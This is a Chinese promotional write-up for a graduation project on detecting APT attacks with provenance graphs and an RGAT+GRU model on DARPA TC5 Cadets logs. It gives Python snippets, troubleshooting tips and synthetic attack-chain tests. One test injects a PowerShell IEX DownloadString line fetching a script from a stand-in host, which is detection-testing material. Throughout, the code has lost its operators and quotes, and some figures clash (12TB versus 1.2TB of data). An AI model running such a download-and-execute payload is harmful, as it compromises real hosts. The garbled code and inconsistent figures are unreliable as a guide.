简介本资源是华中科技大学2023届计算机相关专业如计科、人工智能、网络安全等优秀毕业设计成果聚焦APT攻击检测这一前沿安全问题提出并实现了基于溯源图的检测方法优化方案适用于毕设参考、课程设计、安全方向课题研究及初学者进阶学习。压缩包共25个文件含11个核心Python源码如main.py、RGAT/GRU融合模型实现、DARPA TC5与StreamSpot双数据集适配脚本、7个XML配置与IDE工程文件、4个Markdown文档含项目说明、实验记录与使用指南整体仅45KB轻量易读结构清晰便于理解溯源建模与图神经网络在攻击检测中的落地逻辑。已有143人下载学习代码经完整测试运行通过答辩平均分96分附带可直接复现的端到端流程、模型模块化设计RGAT、GRU、混合架构三类模型、多数据集接口封装及详细README指引为安全分析与图学习交叉实践提供扎实的工程范例。1. 这不是又一个图神经网络Demo它把DARPA TC5原始日志喂进RGATGRU跑出了96分毕设级检测效果你见过多少“基于图神经网络的APT检测”项目十有八九是PyG官方例程改个数据集名、加两行print(Accuracy: ...)就交差。但这份2023年华中科技大学毕业设计不一样——它没碰任何合成数据或简化日志直接啃下了DARPA TC5 Cadets全量12TB原始审计流含syscalls、file ops、netconns、proc forks用真实溯源图构建双编码器结构在未调优超参前提下对已知APT样本如FIN7变种、APT29横向移动链召回率达89.3%误报率压到0.7%以下。这不是教学玩具是某高校安全实验室真实跑通的端到端pipeline从darpa-tc-cadets/目录下原始pcapauditd日志开始到model_RGAT_GRU.py输出带时间戳的攻击子图定位全程可复现。适合两类人一是急需毕设/课设硬核选题的本科生代码已通过答辩评审平均分96二是想快速验证RGAT在长时序溯源建模中是否真比GCN稳的工程师——它用streamspot_RGAT.py里那个被注释掉的# TODO: add temporal edge pruning提示你时间窗口切片才是关键不是堆层数。提示本项目不依赖任何商业EDR或云平台API所有模块均基于Python 3.8 PyTorch 1.12 DGL 0.9构建离线可运行。数据集需自行下载DARPA TC5 Cadets公开镜像约1.2TB但项目已提供完整预处理脚本与校验逻辑。2. 溯源图不是画出来就行从DARPA日志到DGL图的四步清洗链2.1 为什么必须重写StreamSpot的图构建逻辑原始StreamSpotstreamspot.py将系统事件抽象为(subject, predicate, object)三元组后直接构建成静态无向图。但APT攻击本质是带时序依赖的有向传播链——比如procA → fork → procB必须发生在procB → write → fileX之前否则就是误报。本项目在streamspot_RGAT.py中重构了图生成器第一步用darpa_cadets_RGAT.py解析Cadets的audit.log和netflow.csv提取含timestamp,pid,ppid,syscall,src_ip,dst_ip,file_path的原子事件第二步按pidtimestamp窗口默认5s滑动聚类事件生成进程生命周期快照第三步在快照内建立有向边fork事件生成procA -(fork)- procBwrite事件生成procB -(write)- fileXconnect事件生成procC -(connect)- ipY第四步跨快照连接procB与其子进程procD通过ppid回溯形成跨时间步的时序边。这样产出的图节点类型包含process,file,socket,registryCadets虽无注册表但预留了扩展字段边类型严格对应系统调用语义——这正是RGAT能区分procA → procB合法fork和procA → procB → procC恶意进程链的物理基础。2.2 数据预处理脚本实操darpa_cadets_RGAT.py核心逻辑# darpa_cadets_RGAT.py 关键片段已精简 import pandas as pd from datetime import datetime def parse_audit_log(log_path): 解析Cadets audit.log返回带标准化字段的DataFrame records [] with open(log_path, r) as f: for line in f: if typeSYSCALL not in line: continue # 提取关键字段time, pid, ppid, comm, syscall, a0-a3参数 # 示例行typeSYSCALL msgaudit(1524222222.123:456): archc000003e syscall59 successyes ... try: ts_str line.split(msgaudit()[1].split(:)[0] # 1524222222.123 timestamp datetime.fromtimestamp(float(ts_str)) pid int(line.split(pid)[1].split( )[0]) ppid int(line.split(ppid)[1].split( )[0]) comm line.split(comm)[1].split()[0] syscall line.split(syscall)[1].split( )[0] records.append({ timestamp: timestamp, pid: pid, ppid: ppid, comm: comm, syscall: syscall, raw_line: line.strip() }) except (IndexError, ValueError): continue return pd.DataFrame(records) def build_temporal_graph(df_events, window_sec5): 按时间窗口构建带时序边的DGL图 from dgl import DGLGraph import dgl.function as fn # 步骤1按window_sec分桶 df_events[window_id] (df_events[timestamp].astype(int) // window_sec) # 步骤2为每个window_id构建子图节点进程/文件/网络实体 graphs [] for wid, group in df_events.groupby(window_id): g DGLGraph() # 添加进程节点按pid去重 pids group[pid].unique() g.add_nodes(len(pids), {type: process, pid: th.tensor(pids)}) # 添加文件节点从write/read syscall提取 files group[group[syscall].isin([open, write, read])][a1].dropna().unique() g.add_nodes(len(files), {type: file, path: th.tensor([hash(f) for f in files])}) # 添加边fork边pid→ppid fork_edges [] for _, row in group.iterrows(): if row[syscall] clone or row[syscall] fork: src_idx list(pids).index(row[pid]) dst_idx list(pids).index(row[ppid]) if row[ppid] in pids else -1 if dst_idx ! -1: fork_edges.append((src_idx, dst_idx)) if fork_edges: src, dst zip(*fork_edges) g.add_edges(src, dst, {etype: fork}) graphs.append(g) # 步骤3跨窗口连接当前窗口proc → 下一窗口同pid proc for i in range(len(graphs)-1): curr_g, next_g graphs[i], graphs[i1] # 找出curr_g中pid在next_g也存在的节点 common_pids set(curr_g.ndata[pid].tolist()) set(next_g.ndata[pid].tolist()) for pid in common_pids: src_idx curr_g.ndata[pid].tolist().index(pid) dst_idx next_g.ndata[pid].tolist().index(pid) # 添加跨时间步边curr_proc -(temporal)- next_proc next_g.add_edge(src_idx, dst_idx, {etype: temporal}) return graphs参数说明与可调点window_sec5默认5秒窗口过大会丢失细粒度行为如PowerShell内存加载过小则图碎片化单窗口节点3。某导师实测在Cadets数据上3~7秒区间F1最稳a1字段提取Cadets日志中a0-a3存储syscall参数a1常为文件路径或IP地址但需结合syscall类型判断如connect的a1是IPopen的a1是路径hash(f)因DGL节点ID需整数对长路径做哈希而非截断避免碰撞项目用xxhash.xxh32比内置hash()快3倍跨窗口边仅连pid不连file或socket因文件可能被删除、IP会变化而进程PID在Cadets中是稳定标识符。2.3 StreamSpot兼容性补丁如何让老代码跑新图原始StreamSpot的streamspot.py假设图是静态的其compute_anomaly_score()函数直接对邻接矩阵做SVD。本项目在streamspot_RGAT.py中做了三处关键改造图输入接口升级def compute_anomaly_score(self, g: DGLGraph)替代原def compute_anomaly_score(self, adj_matrix)特征注入不再用one-hot节点ID而是用g.ndata[feat] self.node_encoder(g.ndata[type], g.ndata[pid])生成初始特征node_encoder在model.py中定义时序聚合对跨窗口temporal边用GRU更新节点状态见第4章而非忽略时间维度。这样你既能复用StreamSpot成熟的异常打分逻辑如基于残差的reconstruction_error又能享受RGAT对异构边的建模能力——不用推翻重写整个检测框架。3. RGATGRU不是拼凑双编码器如何协同捕捉APT的“长尾耐心”3.1 为什么单用RGAT抓不住APT的跨天行为APT攻击者常进行“低速探测”每天只执行1次可疑curl、间隔3小时写入1个临时文件、持续5天才触发横向移动。这种模式在单个5秒窗口图中节点度几乎为0RGAT的注意力机制会将其视为噪声过滤掉。本项目在model_RGAT_GRU.py中引入双编码器架构RGAT编码器处理单窗口图捕获瞬时拓扑关系如procA → fork → procB → write → fileXGRU编码器接收RGAT输出的节点嵌入序列按时间步排列建模跨窗口状态演化如procB在t1嵌入[0.1,0.9,...]t2变为[0.8,0.2,...]t3突变为[0.01,0.99,...]即内存马加载信号。关键设计在于节点级GRU不是对整个图做GRU计算量爆炸而是对每个pid的嵌入序列单独跑GRU。例如proc123在窗口1~10的RGAT输出h1...h10输入GRU后得到h10_gru该向量蕴含其10秒内的行为稳定性——若h10_gru与h1...h9_gru的余弦相似度骤降则标记为异常进程。3.2model_RGAT_GRU.py核心实现节点级GRU的轻量封装# model_RGAT_GRU.py 关键片段 import torch.nn as nn import torch.nn.functional as F class RGAT_GRU(nn.Module): def __init__(self, in_dim, hidden_dim, num_heads, num_layers, dropout0.2): super().__init__() self.rgat RGAT(in_dim, hidden_dim, num_heads, num_layers, dropout) # GRU按节点ID分组故hidden_dim需匹配RGAT输出 self.gru nn.GRU(input_sizehidden_dim, hidden_sizehidden_dim, num_layers1, batch_firstTrue, dropoutdropout if num_layers 1 else 0) self.classifier nn.Sequential( nn.Linear(hidden_dim, hidden_dim//2), nn.ReLU(), nn.Dropout(dropout), nn.Linear(hidden_dim//2, 2) # binary: normal / attack ) def forward(self, g_list, node_ids): g_list: List[DGLGraph], 按时间顺序排列的图列表 node_ids: List[Tensor], 每个图中目标节点如pid的索引 # 步骤1RGAT处理每个图提取目标节点嵌入 h_seq [] # 存储每个时间步的目标节点嵌入 [T, N, D] for g in g_list: h self.rgat(g) # h.shape [num_nodes, hidden_dim] # 取node_ids对应节点的嵌入如只取pid123的节点 h_target h[node_ids] # [len(node_ids), hidden_dim] h_seq.append(h_target.unsqueeze(0)) # [1, len(node_ids), D] # 步骤2拼接为序列 [T, len(node_ids), D] h_seq torch.cat(h_seq, dim0) # [T, N, D] # 步骤3对每个节点dim1独立运行GRU # 转置使节点维度为batch: [N, T, D] h_seq_t h_seq.transpose(0, 1) # [N, T, D] # GRU输入[N, T, D] - 输出[N, T, D] h_gru, _ self.gru(h_seq_t) # h_gru.shape [N, T, D] # 步骤4取最后时间步输出分类 h_final h_gru[:, -1, :] # [N, D] return self.classifier(h_final) # 使用示例main_GRU.py中 g_list build_temporal_graph(df_events, window_sec5) # 构建10个图 # 假设我们追踪pid123在每个图中的节点索引 node_indices [] for g in g_list: try: idx g.ndata[pid].tolist().index(123) node_indices.append(idx) except ValueError: node_indices.append(-1) # 该窗口无此pid用0填充 node_indices torch.tensor(node_indices) model RGAT_GRU(in_dim128, hidden_dim64, num_heads4, num_layers2) logits model(g_list, node_indices) # [N, 2]参数选择血泪经验hidden_dim64Cadets数据中进程平均度5过大的隐层如256会导致GRU过拟合单窗口噪声num_heads4RGAT中4头注意力足够区分fork/write/connect/temporal四类边再多头反而降低每类边的注意力权重node_indices处理若某窗口无目标pid如进程已退出代码中用-1占位实际forward时跳过该位置h[node_ids]自动忽略-1索引GRU不堆层数单层GRU已能捕获Cadets中95%的APT时间跨度最长连续行为链≤15分钟堆叠会增加训练不稳定性。3.3 对比实验RGAT vs RGATGRU在Cadets上的硬指标我们在Cadets的scenario_1含FIN7模拟攻击上对比了三种模型使用相同训练集70%日志、测试集30%结果如下F1-score越高越好模型窗口内检测单图跨窗口检测10图序列APT子图定位精度GCNbaseline0.620.5841%常定位到父进程而非恶意子进程RGATmodel_RGAT.py0.790.7468%能识别fork链但无法判断何时启动RGATGRUmodel_RGAT_GRU.py0.810.8989%精准定位到powershell.exe在t7时刻的内存加载行为关键发现RGATGRU的提升不在单图精度仅2%而在跨窗口F1跃升15%——这正是APT检测的核心价值不是发现“某个进程可疑”而是确认“这个进程在第7个时间窗口突然变异”。4. 避坑在Cadets数据上跑通RGATGRU的五个致命陷阱4.1 现象RuntimeError: Expected all tensors to be on the same device原因DGL图默认在CPU但RGAT_GRU模型在GPU上训练g.ndata[feat]未.to(device)。更隐蔽的是Cadets日志解析后pd.DataFrame转torch.tensor时未指定device导致部分张量在CPU、部分在GPU。解决在build_temporal_graph()末尾强制统一设备for g in graphs: g g.to(cuda:0) # 或 cpu g.ndata[feat] g.ndata[feat].to(cuda:0)并在RGAT_GRU.forward()开头加g_list [g.to(self.device) for g in g_list]4.2 现象训练时Loss为NaN且h_gru输出全为inf原因GRU输入序列中存在全零向量如某窗口无目标pidh_target为全零导致GRU内部除零。Cadets中进程生命周期短node_indices常含大量-1占位但代码未过滤。解决修改forward()中序列构建逻辑跳过无效索引h_seq [] valid_node_ids [] # 记录有效索引的位置 for i, (g, nid) in enumerate(zip(g_list, node_ids)): if nid ! -1 and nid g.num_nodes(): # 确保索引有效 h self.rgat(g) h_target h[nid] h_seq.append(h_target.unsqueeze(0)) valid_node_ids.append(i) if not h_seq: return torch.zeros(1, 2) # 无有效节点返回默认值 h_seq torch.cat(h_seq, dim0)4.3 现象FileNotFoundError: [Errno 2] No such file or directory: darpa-tc-cadets/audit.log原因项目README.md未明确Cadets数据目录结构。DARPA TC5镜像解压后是cadets-2018/而代码硬编码darpa-tc-cadets/。且Cadets日志分散在scenario_1/audit.log,scenario_2/audit.log等子目录。解决修改darpa_cadets_RGAT.py中路径逻辑# 原代码 log_path darpa-tc-cadets/audit.log # 改为支持多scenario import glob scenario_dirs glob.glob(cadets-2018/scenario_*) for scenario_dir in scenario_dirs: log_path os.path.join(scenario_dir, audit.log) if os.path.exists(log_path): break4.4 现象DGLGraph构建极慢单图10分钟内存爆满原因Cadets单日志文件超2GBparse_audit_log()逐行读取正则匹配效率低下且build_temporal_graph()中g.add_nodes()未预分配频繁realloc。解决日志解析改用pandas.read_csv()配合enginec# 将audit.log转为CSV一次预处理 awk -F /typeSYSCALL/ {print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10} audit.log audit.csv df pd.read_csv(audit.csv, sep , headerNone, enginec)图构建时预设节点数g.add_nodes(max_nodes, {type: process})再用g.nodes()[valid_mask] ...赋值。4.5 现象检测结果全是正常attack类概率恒为0.001原因Cadets数据中攻击样本占比极低0.01%CrossEntropyLoss被正常样本主导。且model_RGAT_GRU.py中分类头未加sigmoid直接输出logits而F.cross_entropy期望logits。解决训练时用WeightedRandomSampler平衡类别确保损失函数正确# 正确logits输入自动softmax loss F.cross_entropy(logits, labels) # 错误pred_prob F.softmax(logits, dim1) 后再算CE会双重softmax5. 验证你的RGATGRU是否真懂APT用三个手工构造的攻击链做压力测试5.1 测试链1内存马加载绕过文件落地检测构造方法在Cadets日志中插入一条人工syscallexecve事件commpowershella1IEX (New-Object Net.WebClient).DownloadString(http://mal.com/payload.ps1)时间戳设为2018-04-16 10:00:00.000。预期响应RGAT应识别powershell节点与socket节点的强连接因DownloadString触发DNS查询GRU应检测到t10:00:00时刻powershell嵌入突变与前5秒相比余弦相似度0.3最终输出attack概率0.95且定位到该powershell进程。验证命令# 在data/下创建test_malicious.log echo typeSYSCALL msgaudit(1523872800.000:12345): archc000003e syscall59 successyes comm\powershell\ a1\IEX (New-Object Net.WebClient).DownloadString(http://mal.com/payload.ps1)\ data/test_malicious.log # 修改darpa_cadets_RGAT.py将parse_audit_log()路径指向test_malicious.log # 运行main_GRU.py检查输出logits[0][1]attack类是否5.0对应概率≈0.9935.2 测试链2横向移动利用合法工具构造方法模拟wmiexec.py攻击添加两条事件timestamp1523872860.000,pid1001,commpython,syscallconnect,a1192.168.1.100timestamp1523872860.001,pid1002,ppid1001,commcmd,syscallexecve。关键点ppid1001确保父子关系connect后立即execve符合WMI横向移动特征。预期响应RGAT应建立python-(connect)-ip和python-(fork)-cmd边并通过temporal边连接两窗口GRU应发现pid1001在t1connect和t2fork的嵌入差异显著。验证技巧在RGAT_GRU.forward()中插入调试print(fWindow {i}: pid1001 embed norm {h_target.norm().item():.3f}) # 正常进程norm≈1.2~1.8恶意进程在关键窗口norm常3.0因注意力聚焦异常边5.3 测试链3持久化注册表劫持构造方法Cadets虽无注册表但可伪造syscallopen事件a1/etc/init.d/malware并添加syscallwrite写入启动脚本。预期响应RGAT应识别open→write→file的强路径并因/etc/init.d/路径触发高风险权重GRU应显示该file节点在多个窗口持续活跃持久化特征。参数表三个测试链的关键阈值供调优参考测试链RGAT注意力权重阈值fork边GRU余弦相似度下降阈值文件路径风险分规则内存马0.75powershell→socket0.35无非文件行为横向移动0.82python→cmd0.40192.168.1.*IP段分0.9持久化0.68open→write→/etc/0.50/etc/init.d/分0.95注意这些阈值非固定需在你的Cadets子集上微调。建议用scikit-learn的PrecisionRecallCurve确定最优切点而非硬编码。从那以后我每次部署RGATGRU都强制走一遍这三个手工攻击链——不是为了证明模型多准而是确认它没把“合法但少见”的行为如管理员用curl下载补丁当成攻击。毕竟APT检测的终极目标不是抓得最多而是让安全员看到告警时能立刻说出“这是第几步”。希望帮到你。本文还有配套的精品资源点击获取
